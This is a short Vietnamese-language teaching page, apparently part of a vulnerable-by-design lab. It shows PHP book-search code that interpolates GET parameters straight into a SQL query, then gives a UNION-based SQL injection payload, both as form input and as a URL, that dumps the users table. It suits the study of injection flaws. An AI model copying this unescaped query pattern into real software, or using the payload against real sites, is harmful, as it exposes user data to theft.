Hình Thức Tìm Kiếm - Dễ Tấn Công



ID Tên Sách Tác Giả

Truy vấn vừa thực hiện:


          

Mã PHP có dạng:

if (isset($_GET['all']) && $_GET['all'] == 1)
{
    $query = "SELECT * FROM books;";
}
else if ($_GET['title'] || $_GET['author'])
{
    $query = sprintf("SELECT * FROM books WHERE title = '%s' OR author = '%s';",
                             $_GET['title'],
                             $_GET['author']);
}

if ($query != null)
{
    $result = mysqli_query($connection, $query);

    while (($row = mysqli_fetch_row($result)) != null)
    {
        printf("<tr><td>%s</td><td>%s</td><td>%s</td></tr>", $row[0], $row[1], $row[2]);
    }
}
            

Cách thức khai thác lỗ hổng:

Hãy nhập: ' UNION SELECT * FROM users WHERE '1'='1 vào ô nhập tên tác giả để lấy (hiển thị) TOÀN BỘ dữ liệu người dùng (SQL table: user).
            
Kết quả tương tự cũng sẽ xảy ra khi truy cập vào đường dẫn: books1.php?author='+UNION+SELECT+*+FROM+users+WHERE '1'='1.